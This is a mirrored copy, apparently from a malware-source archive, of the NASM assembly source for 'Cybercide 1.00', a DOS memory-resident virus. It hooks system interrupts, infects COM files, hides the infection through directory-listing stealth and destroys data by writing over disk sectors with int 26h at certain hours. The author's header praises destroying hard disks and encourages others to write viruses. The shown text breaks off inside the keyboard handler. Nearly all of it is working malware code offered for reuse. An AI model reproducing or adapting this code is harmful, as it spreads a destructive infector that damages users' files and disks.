mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 12:25:29 +00:00
999 lines
32 KiB
NASM
999 lines
32 KiB
NASM
|
.model tiny
|
|||
|
|
.code
|
|||
|
|
org 100h
|
|||
|
|
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
|||
|
|
; A NEW ORDER OF INTELLIGENCE PRESENTS: ;
|
|||
|
|
; ;
|
|||
|
|
; Cybercide 1.00 - The original source-code ;
|
|||
|
|
; Copyright (c) -91 by Cruel Entity / Macaroni Ted ;
|
|||
|
|
; ;
|
|||
|
|
; This one is really old now. Mcaffe virus scanner have detected it for ;
|
|||
|
|
; years. Therefor I've decided to realease it. I hope you'll learn some- ;
|
|||
|
|
; thing from it. You are free to use routines from it and also rebuild ;
|
|||
|
|
; it. Just give me some credits. ;
|
|||
|
|
; ;
|
|||
|
|
; I hope you'll feel the nice feeling you get when you hear that many ;
|
|||
|
|
; hard-disks have been destroyed by you virus. So keep up the good work ;
|
|||
|
|
; and write more virus. ;
|
|||
|
|
; ;
|
|||
|
|
; Of cource I can't take any responsibility for all virus-coders who ;
|
|||
|
|
; use any of the routines in this virus. ;
|
|||
|
|
; ;
|
|||
|
|
; Greetings to; God for creating AT&T's ;
|
|||
|
|
; ;
|
|||
|
|
; ps! Tasm /m3 and tlink /t to get this babe into executable! ;
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=;
|
|||
|
|
start:
|
|||
|
|
call $+3
|
|||
|
|
sub_this: pop bp
|
|||
|
|
|
|||
|
|
mov ax,0dd22h ;are we already in memory?
|
|||
|
|
int 21h
|
|||
|
|
cmp ax,03d33h
|
|||
|
|
jne $+7
|
|||
|
|
lea dx,[bp+(cancel-sub_this)]
|
|||
|
|
jmp far ptr dx
|
|||
|
|
|
|||
|
|
mov ax,3521h ;get int 21h vect
|
|||
|
|
int 21h
|
|||
|
|
mov [bp+(int_21h_off-sub_this)],bx
|
|||
|
|
mov [bp+(int_21h_seg-sub_this)],es
|
|||
|
|
mov ax,3509h ;get int 9h vect
|
|||
|
|
int 21h
|
|||
|
|
mov [bp+(int_9h_off-sub_this)],bx
|
|||
|
|
mov [bp+(int_9h_seg-sub_this)],es
|
|||
|
|
mov ax,351ch ;get int 1ch vect
|
|||
|
|
int 21h
|
|||
|
|
mov [bp+(int_1ch_off-sub_this)],bx
|
|||
|
|
mov [bp+(int_1ch_seg-sub_this)],es
|
|||
|
|
|
|||
|
|
mov ax,cs
|
|||
|
|
dec ax
|
|||
|
|
mov es,ax
|
|||
|
|
mov ax,es:[0003h]
|
|||
|
|
sub ax,[bp+(memlen-sub_this)]
|
|||
|
|
mov es:[0003h],ax
|
|||
|
|
mov ax,[bp+(memlen-sub_this)]
|
|||
|
|
sub word ptr es:[0012h],ax
|
|||
|
|
mov es,es:[0012h]
|
|||
|
|
push es
|
|||
|
|
|
|||
|
|
lea si,[bp+(start-sub_this)]
|
|||
|
|
mov di,0100h
|
|||
|
|
mov cx,[bp+(filelen-sub_this)]
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
pop ds ;es => ds
|
|||
|
|
mov ax,2521h ;new vector at ES:0100
|
|||
|
|
lea dx,new_int_21h
|
|||
|
|
int 21h
|
|||
|
|
mov ax,2509h ;int 9h
|
|||
|
|
lea dx,new_int_9h
|
|||
|
|
int 21h
|
|||
|
|
mov ax,251ch ;int 1ch
|
|||
|
|
lea dx,new_int_1ch
|
|||
|
|
int 21h
|
|||
|
|
cancel:
|
|||
|
|
push cs ;cs => ds => es
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
lea si,[bp+(first_bytes-sub_this)]
|
|||
|
|
mov cx,3
|
|||
|
|
mov di,100h
|
|||
|
|
rep movsb
|
|||
|
|
sub di,3
|
|||
|
|
jmp far ptr di
|
|||
|
|
|
|||
|
|
ULTIMATHULE DB 'nam nesut agn<67>m dem <20>nk mo <20>nk ,marf'
|
|||
|
|
db 'kcig xeR sluloraC ruh nes egn<67>l r<>f ,n<> in snniM'
|
|||
|
|
; ^^^^^^^^^ Only a swedish poem written backwards ^^^^^^^^^
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Resident part -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
|
|||
|
|
imperial_march dw 330,600
|
|||
|
|
dw 330,600
|
|||
|
|
dw 330,600
|
|||
|
|
dw 262,450
|
|||
|
|
dw 392,150
|
|||
|
|
dw 330,600
|
|||
|
|
dw 262,450
|
|||
|
|
dw 392,150
|
|||
|
|
dw 330,1200
|
|||
|
|
dw 494,600
|
|||
|
|
dw 494,600
|
|||
|
|
dw 494,600
|
|||
|
|
dw 523,450
|
|||
|
|
dw 392,150
|
|||
|
|
dw 330,600
|
|||
|
|
dw 262,450
|
|||
|
|
dw 392,150
|
|||
|
|
dw 330,1200
|
|||
|
|
dw 0
|
|||
|
|
|
|||
|
|
db 'YTITNE na ot LEURC eb reven'
|
|||
|
|
darth_return:
|
|||
|
|
push cs
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
pop es
|
|||
|
|
lea si,imperial_march
|
|||
|
|
darth_again:
|
|||
|
|
lodsw
|
|||
|
|
|
|||
|
|
cmp ax,0
|
|||
|
|
je darth_end
|
|||
|
|
|
|||
|
|
mov di,ax
|
|||
|
|
play:
|
|||
|
|
mov al,0b6h
|
|||
|
|
out 43h,al
|
|||
|
|
mov dx,12h
|
|||
|
|
mov ax,3280h
|
|||
|
|
div di
|
|||
|
|
out 42h,al
|
|||
|
|
|
|||
|
|
mov al,ah
|
|||
|
|
out 42h,al
|
|||
|
|
|
|||
|
|
in al,61h
|
|||
|
|
mov ah,al
|
|||
|
|
or al,3
|
|||
|
|
out 61h,al
|
|||
|
|
delay:
|
|||
|
|
lodsw
|
|||
|
|
mov cx,ax
|
|||
|
|
m_delay:
|
|||
|
|
push cx
|
|||
|
|
mov cx,2700
|
|||
|
|
loop $
|
|||
|
|
pop cx
|
|||
|
|
loop m_delay
|
|||
|
|
|
|||
|
|
out 61h,al
|
|||
|
|
|
|||
|
|
jmp darth_again
|
|||
|
|
darth_end:
|
|||
|
|
xor al,al ;sound off
|
|||
|
|
out 61h,al
|
|||
|
|
|
|||
|
|
mov ax,0b800h ;print ansi
|
|||
|
|
mov es,ax
|
|||
|
|
lea si,darth_pic
|
|||
|
|
mov di,3680
|
|||
|
|
mov cx,320
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
jmp $ ;hang
|
|||
|
|
db 'ynollef ELIV a si GINKLAWYAJ'
|
|||
|
|
next_hour:
|
|||
|
|
cmp dh,0
|
|||
|
|
je check_100th
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
jmp exit
|
|||
|
|
check_100th:
|
|||
|
|
cmp dl,5
|
|||
|
|
jb random_sector
|
|||
|
|
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
jmp exit
|
|||
|
|
random_sector:
|
|||
|
|
pushf
|
|||
|
|
push bx
|
|||
|
|
|
|||
|
|
call get_rnd
|
|||
|
|
mov cx,10 ;/ 10
|
|||
|
|
xor dx,dx
|
|||
|
|
div cx
|
|||
|
|
mov dx,ax ;dx=ax
|
|||
|
|
|
|||
|
|
mov al,2h ;drive #, start with c:
|
|||
|
|
mov cx,1h ;# of sectors to overwrite
|
|||
|
|
lea bx,logo ;address to overwriting data
|
|||
|
|
loopie:
|
|||
|
|
int 26h
|
|||
|
|
popf
|
|||
|
|
inc al
|
|||
|
|
cmp al,25
|
|||
|
|
jne loopie
|
|||
|
|
|
|||
|
|
pop bx
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
jmp exit
|
|||
|
|
db '... I SHALL FEAR NO EVIL ...'
|
|||
|
|
check_time_int1c:
|
|||
|
|
mov ah,2ch ;get time
|
|||
|
|
int 21h
|
|||
|
|
cmp ch,16 ;>16:??
|
|||
|
|
jae set_flag_flag
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
jmp exit
|
|||
|
|
set_flag_flag:
|
|||
|
|
mov cs:flagga,1
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
jmp exit
|
|||
|
|
|
|||
|
|
logo db '>>> A.N.O.I <<<' ; DATA to overwrite with
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
; New Interrupt 21h Handler
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
new_int_21h:
|
|||
|
|
pushf
|
|||
|
|
|
|||
|
|
cmp ax,0dd22h ;mem check
|
|||
|
|
je mem_check
|
|||
|
|
|
|||
|
|
cmp ah,2ch ;time?
|
|||
|
|
je exit
|
|||
|
|
|
|||
|
|
cmp ah,2ah ;date?
|
|||
|
|
je exit
|
|||
|
|
|
|||
|
|
cmp ah,9
|
|||
|
|
je exit
|
|||
|
|
|
|||
|
|
cmp ah,11h
|
|||
|
|
je find_old
|
|||
|
|
cmp ah,12h
|
|||
|
|
je find_old
|
|||
|
|
|
|||
|
|
cmp ah,4eh ;dos 2.x
|
|||
|
|
je find_
|
|||
|
|
cmp ah,4fh
|
|||
|
|
je find_
|
|||
|
|
cmp ah,3dh ;open file
|
|||
|
|
je open_file
|
|||
|
|
|
|||
|
|
push ax
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
|
|||
|
|
mov ah,2ch
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
cmp ch,00 ;24:??
|
|||
|
|
jne $+7
|
|||
|
|
lea dx,darth_return
|
|||
|
|
jmp far ptr dx
|
|||
|
|
|
|||
|
|
cmp cl,00 ;a new hour?
|
|||
|
|
jne $+7
|
|||
|
|
lea ax,next_hour
|
|||
|
|
jmp far ptr ax
|
|||
|
|
|
|||
|
|
mov ah,2ah ;get date
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
cmp al,6 ;flag time? (SAT)
|
|||
|
|
je check_time_int1c ;check time
|
|||
|
|
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop ax
|
|||
|
|
exit:
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
real_int_21h: db 0eah ;jmp...
|
|||
|
|
int_21h_off dw ? ;to old int 21h
|
|||
|
|
int_21h_seg dw ?
|
|||
|
|
|
|||
|
|
call_int21h:
|
|||
|
|
jmp dword ptr cs:int_21h_off ;force a call to DOS
|
|||
|
|
ret
|
|||
|
|
open_file:
|
|||
|
|
push bp
|
|||
|
|
lea bp,open
|
|||
|
|
jmp far ptr bp
|
|||
|
|
find_:
|
|||
|
|
push bp
|
|||
|
|
lea bp,find_new
|
|||
|
|
jmp far ptr bp
|
|||
|
|
mem_check:
|
|||
|
|
popf
|
|||
|
|
mov ax,3d33h
|
|||
|
|
iret
|
|||
|
|
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
; Stealth FCB
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
|
|||
|
|
find_old:
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
pushf ;find fcb
|
|||
|
|
push cs
|
|||
|
|
call call_int21h
|
|||
|
|
cmp al,0ffh
|
|||
|
|
je no_more_files
|
|||
|
|
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
push bp
|
|||
|
|
|
|||
|
|
mov ah,2fh ;get dta
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
push es ;es:bx
|
|||
|
|
pop ds ;ds:bx
|
|||
|
|
mov si,bx ;ds:si
|
|||
|
|
|
|||
|
|
add si,16 ;ext name
|
|||
|
|
lodsw
|
|||
|
|
cmp ax,'OC' ;.CO
|
|||
|
|
jne cancel_ff
|
|||
|
|
lodsb
|
|||
|
|
cmp al,'M' ;M
|
|||
|
|
jne cancel_ff
|
|||
|
|
ext_ok:
|
|||
|
|
;ext=com
|
|||
|
|
mov si,bx ;check size
|
|||
|
|
add si,26h
|
|||
|
|
lodsw
|
|||
|
|
cmp ax,0 ;=> 0ffffh?
|
|||
|
|
jne cancel_ff
|
|||
|
|
|
|||
|
|
mov si,bx ;check if already infected
|
|||
|
|
add si,30
|
|||
|
|
lodsw ;time
|
|||
|
|
and al,00011111b
|
|||
|
|
cmp al,12
|
|||
|
|
je $+7 ;already infected (sec=24)
|
|||
|
|
lea dx,infect
|
|||
|
|
jmp far ptr dx
|
|||
|
|
|
|||
|
|
mov si,bx ;alter size
|
|||
|
|
add si,36
|
|||
|
|
mov di,si
|
|||
|
|
lodsw
|
|||
|
|
sub ax,cs:filelen
|
|||
|
|
jz cancel_ff
|
|||
|
|
stosw
|
|||
|
|
cancel_ff:
|
|||
|
|
pop bp
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
no_more_files: retf 2 ;iret flags
|
|||
|
|
cancel_inf:
|
|||
|
|
pop ax
|
|||
|
|
pop ax
|
|||
|
|
jmp cancel_ff
|
|||
|
|
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
; Stealth 4Eh
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
find_new:
|
|||
|
|
pop bp
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
pushf ;find 4e
|
|||
|
|
push cs
|
|||
|
|
call call_int21h
|
|||
|
|
jnc more_files
|
|||
|
|
retf 2
|
|||
|
|
more_files:
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
push bp
|
|||
|
|
|
|||
|
|
mov ah,2fh ;get dta
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
push es ;es:bx
|
|||
|
|
pop ds ;ds:bx
|
|||
|
|
|
|||
|
|
mov si,bx ;ds:si
|
|||
|
|
|
|||
|
|
add si,16h
|
|||
|
|
push si ;ONLY for infection
|
|||
|
|
push es
|
|||
|
|
|
|||
|
|
mov si,bx
|
|||
|
|
|
|||
|
|
push cs ;cs => es
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
add si,1eh ;f name
|
|||
|
|
lea di,filename
|
|||
|
|
mov cx,25
|
|||
|
|
get_fname:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,0
|
|||
|
|
je get_f_klar
|
|||
|
|
stosb
|
|||
|
|
loop get_fname
|
|||
|
|
get_f_klar:
|
|||
|
|
mov al,0 ;asciiz
|
|||
|
|
stosb
|
|||
|
|
|
|||
|
|
push ds ;ds=> es
|
|||
|
|
pop es
|
|||
|
|
push cs ;cs=> ds
|
|||
|
|
pop ds
|
|||
|
|
mov si,di
|
|||
|
|
|
|||
|
|
sub si,4 ;'COM'
|
|||
|
|
lodsw ;CO
|
|||
|
|
|
|||
|
|
cmp ax,'OC'
|
|||
|
|
je check_m
|
|||
|
|
cmp ax,'oc'
|
|||
|
|
jne cancel_new
|
|||
|
|
check_m:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,'m'
|
|||
|
|
je ext_is_com
|
|||
|
|
cmp al,'M'
|
|||
|
|
jne cancel_new
|
|||
|
|
ext_is_com:
|
|||
|
|
push es ;es=> ds
|
|||
|
|
pop ds
|
|||
|
|
|
|||
|
|
mov si,bx
|
|||
|
|
add si,1ch ;check size
|
|||
|
|
lodsw
|
|||
|
|
cmp ax,0 ;=> 0ffffh
|
|||
|
|
jne cancel_new
|
|||
|
|
|
|||
|
|
mov si,bx
|
|||
|
|
add si,16h
|
|||
|
|
lodsw ;time
|
|||
|
|
and al,00011111b
|
|||
|
|
cmp al,12
|
|||
|
|
jne attrib_check ;already infected (sec=24)
|
|||
|
|
|
|||
|
|
mov si,bx
|
|||
|
|
add si,1ah
|
|||
|
|
mov di,si
|
|||
|
|
lodsw ;alter size
|
|||
|
|
sub ax,cs:filelen
|
|||
|
|
jz cancel_new
|
|||
|
|
stosw
|
|||
|
|
cancel_new:
|
|||
|
|
pop ax ;crap...
|
|||
|
|
pop ax
|
|||
|
|
|
|||
|
|
pop bp
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
no_more_files2: retf 2 ;iret flags
|
|||
|
|
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
; Infect
|
|||
|
|
;-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
|
|||
|
|
|
|||
|
|
infect:
|
|||
|
|
add bx,30
|
|||
|
|
push bx
|
|||
|
|
sub bx,30
|
|||
|
|
push es
|
|||
|
|
|
|||
|
|
mov si,bx ;fname
|
|||
|
|
add si,8
|
|||
|
|
|
|||
|
|
push cs ;cs=>es
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
lea di,filename
|
|||
|
|
mov cx,8
|
|||
|
|
cpy_name:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,20h
|
|||
|
|
je name_klar
|
|||
|
|
stosb
|
|||
|
|
loop cpy_name
|
|||
|
|
name_klar:
|
|||
|
|
mov al,'.'
|
|||
|
|
stosb
|
|||
|
|
mov si,bx
|
|||
|
|
add si,16
|
|||
|
|
mov cx,3
|
|||
|
|
rep movsb
|
|||
|
|
mov al,0
|
|||
|
|
stosb
|
|||
|
|
attrib_check:
|
|||
|
|
push cs ;cs=> ds => es
|
|||
|
|
push cs
|
|||
|
|
pop ds
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
mov ax,4300h ;get attrib
|
|||
|
|
lea dx,filename
|
|||
|
|
int 21h
|
|||
|
|
mov attribute,cx ;save it
|
|||
|
|
xor cx,cx
|
|||
|
|
mov ax,4301h ;force all attribs
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ax,3d02h ;open file
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h
|
|||
|
|
jnc $+7 ;not a valid filename
|
|||
|
|
lea dx,cancel_inf
|
|||
|
|
jmp far ptr dx
|
|||
|
|
mov bx,ax ;handle
|
|||
|
|
|
|||
|
|
mov ah,3fh ;3 first bytes
|
|||
|
|
lea dx,first_bytes
|
|||
|
|
mov cx,3
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ax,4202h ;go eof and get size
|
|||
|
|
xor dx,dx
|
|||
|
|
xor cx,cx
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
sub ax,3
|
|||
|
|
mov jmp_2,ax
|
|||
|
|
|
|||
|
|
mov ah,40h ;write virus to eof
|
|||
|
|
mov cx,filelen ;virlen
|
|||
|
|
mov dx,100h
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ax,4200h ;goto beg
|
|||
|
|
xor cx,cx
|
|||
|
|
xor dx,dx
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,40h ;write a jmp
|
|||
|
|
mov cx,3
|
|||
|
|
lea dx,jmp_1
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
pop ds ;=> DTA
|
|||
|
|
pop si
|
|||
|
|
|
|||
|
|
lodsw
|
|||
|
|
and al,11100000b ;secs=24
|
|||
|
|
or al,00001100b
|
|||
|
|
mov cx,ax
|
|||
|
|
lodsw ;date
|
|||
|
|
mov dx,ax
|
|||
|
|
|
|||
|
|
mov ax,5701h ;set time/date
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,3eh
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h ;close file
|
|||
|
|
|
|||
|
|
mov ax,4301h ;set attrib
|
|||
|
|
push cs ;cs =>ds
|
|||
|
|
pop ds
|
|||
|
|
mov cx,attribute
|
|||
|
|
lea dx,filename
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
jmp cancel_ff
|
|||
|
|
|
|||
|
|
cancel_uninf2:
|
|||
|
|
mov ah,3eh
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h ;close file
|
|||
|
|
cancel_uninf:
|
|||
|
|
pop bp
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h
|
|||
|
|
retf 2 ;iret flags
|
|||
|
|
|
|||
|
|
konstig_text db '**CYBERCIDE** -- FLOATING THROUGH THE VOID'
|
|||
|
|
|
|||
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
; Open
|
|||
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
open:
|
|||
|
|
pop bp
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push cx
|
|||
|
|
push dx
|
|||
|
|
push si
|
|||
|
|
push di
|
|||
|
|
push ds
|
|||
|
|
push es
|
|||
|
|
push bp
|
|||
|
|
|
|||
|
|
push ds ;ds=> es
|
|||
|
|
pop es
|
|||
|
|
|
|||
|
|
mov bx,dx ;save dx = bx
|
|||
|
|
mov bp,ax ;save ax = bp
|
|||
|
|
|
|||
|
|
mov di,dx
|
|||
|
|
mov cx,025h ;MAX
|
|||
|
|
mov dx,cx
|
|||
|
|
mov al,0
|
|||
|
|
repnz scasb
|
|||
|
|
sub di,4
|
|||
|
|
mov si,di
|
|||
|
|
lodsw
|
|||
|
|
cmp ax,'OC'
|
|||
|
|
je check_m2
|
|||
|
|
cmp ax,'oc'
|
|||
|
|
jne cancel_uninf
|
|||
|
|
check_m2:
|
|||
|
|
lodsb
|
|||
|
|
cmp al,'m'
|
|||
|
|
je ext_is_com2
|
|||
|
|
cmp al,'M'
|
|||
|
|
jne cancel_uninf
|
|||
|
|
ext_is_com2:
|
|||
|
|
mov dx,bx ;restore
|
|||
|
|
mov ax,bp ;restore
|
|||
|
|
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h ;open file
|
|||
|
|
jc cancel_uninf
|
|||
|
|
mov bx,ax ;handle
|
|||
|
|
|
|||
|
|
mov ax,5700h ;get time/date
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
and cl,00011111b
|
|||
|
|
cmp cl,12
|
|||
|
|
je $+7
|
|||
|
|
lea bp,cancel_uninf2
|
|||
|
|
jmp far ptr bp
|
|||
|
|
|
|||
|
|
mov ax,9000h ;temp area
|
|||
|
|
mov ds,ax ;ds
|
|||
|
|
mov es,ax ;es
|
|||
|
|
|
|||
|
|
mov ah,3fh ;read whole file
|
|||
|
|
mov cx,0ffffh
|
|||
|
|
mov dx,0
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov si,0
|
|||
|
|
add si,ax ;add size
|
|||
|
|
sub si,3 ;3 last bytes
|
|||
|
|
|
|||
|
|
mov di,0 ;copy 3 last bytes to
|
|||
|
|
mov cx,3 ;beg
|
|||
|
|
rep movsb
|
|||
|
|
|
|||
|
|
push ax
|
|||
|
|
mov ax,4200h ;goto beg
|
|||
|
|
mov cx,0
|
|||
|
|
mov dx,0
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
pop cx
|
|||
|
|
sub cx,cs:filelen
|
|||
|
|
mov ah,40h ;write new file
|
|||
|
|
mov dx,0
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,40h ;set eof mark
|
|||
|
|
mov cx,0
|
|||
|
|
int 21h
|
|||
|
|
|
|||
|
|
mov ah,3eh
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h ;close file
|
|||
|
|
|
|||
|
|
pop bp
|
|||
|
|
pop es
|
|||
|
|
pop ds
|
|||
|
|
pop di
|
|||
|
|
pop si
|
|||
|
|
pop dx
|
|||
|
|
pop cx
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
pushf
|
|||
|
|
push cs
|
|||
|
|
call call_int21h ;force open
|
|||
|
|
retf 2
|
|||
|
|
|
|||
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
; New Interrupt 9h Handler
|
|||
|
|
;=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
|||
|
|
;-9h
|
|||
|
|
new_int_9h:
|
|||
|
|
pushf
|
|||
|
|
push ax
|
|||
|
|
push bx
|
|||
|
|
push ds
|
|||
|
|
|
|||
|
|
xor ax,ax ;ds=> 0
|
|||
|
|
mov ds,ax
|
|||
|
|
|
|||
|
|
mov al,byte ptr ds:[0417h] ;bios, shift status
|
|||
|
|
and al,8
|
|||
|
|
cmp al,8 ;is alt active?
|
|||
|
|
jne check_anoi ;not pressed
|
|||
|
|
|
|||
|
|
in al,60h
|
|||
|
|
cmp al,53h ;del?
|
|||
|
|
jne $+7
|
|||
|
|
lea ax,alt_del
|
|||
|
|
jmp far ptr ax
|
|||
|
|
|
|||
|
|
check_anoi:
|
|||
|
|
in al,60h ;read key
|
|||
|
|
cmp cs:anoi_flag,0
|
|||
|
|
je check_a
|
|||
|
|
cmp cs:anoi_flag,1
|
|||
|
|
je check_n
|
|||
|
|
cmp cs:anoi_flag,2
|
|||
|
|
je check_o
|
|||
|
|
cmp cs:anoi_flag,3
|
|||
|
|
je check_i
|
|||
|
|
cmp cs:anoi_flag,4
|
|||
|
|
je anoi_
|
|||
|
|
exit_zero:
|
|||
|
|
mov cs:anoi_flag,0
|
|||
|
|
mov cs:e_3rd,0
|
|||
|
|
exit_9h:
|
|||
|
|
pop ds
|
|||
|
|
pop bx
|
|||
|
|
pop ax
|
|||
|
|
popf
|
|||
|
|
|
|||
|
|
real_int_9h: db 0eah ;jmp...
|
|||
|
|
int_9h_off dw ? ;to old int 9h
|
|||
|
|
int_9h_seg dw ?
|
|||
|
|
|
|||
|
|
anoi_flag db 0
|
|||
|
|
e_3rd db 0
|
|||
|
|
anoi_text db ' iS AROUND!',0
|
|||
|
|
|
|||
|
|
exit_anoi:
|
|||
|
|
inc cs:e_3rd
|
|||
|
|
cmp cs:e_3rd,10
|
|||
|
|
je exit_zero
|
|||
|
|
jmp exit_9h
|
|||
|
|
|
|||
|
|
check_a:
|
|||
|
|
cmp al,1eh ;'a'
|
|||
|
|
jne exit_anoi
|
|||
|
|
mov cs:anoi_flag,1
|
|||
|
|
jmp exit_9h
|
|||
|
|
check_n:
|
|||
|
|
cmp al,31h ;'n'
|
|||
|
|
jne exit_anoi
|
|||
|
|
mov cs:anoi_flag,2
|
|||
|
|
jmp exit_9h
|
|||
|
|
check_o:
|
|||
|
|
cmp al,18h ;'o'
|
|||
|
|
jne exit_anoi
|
|||
|
|
mov cs:anoi_flag,3
|
|||
|
|
jmp exit_9h
|
|||
|
|
check_i:
|
|||
|
|
cmp al,17h ;'i'
|
|||
|
|
jne exit_anoi
|
|||
|
|
mov cs:anoi_flag,4
|
|||
|
|
jmp exit_9h
|
|||
|
|
|
|||
|
|
anoi_:
|
|||
|
|
push bp
|
|||
|
|
|
|||
|
|
mov ah,0eh ;print chr
|
|||
|
|
mov bx,0
|
|||
|
|
xor bp,bp
|
|||
|
|
print_next:
|
|||
|
|
mov al,cs:[anoi_text+bp]
|
|||
|
|
int 10h
|
|||
|
|
inc bp
|
|||
|
|
cmp al,0
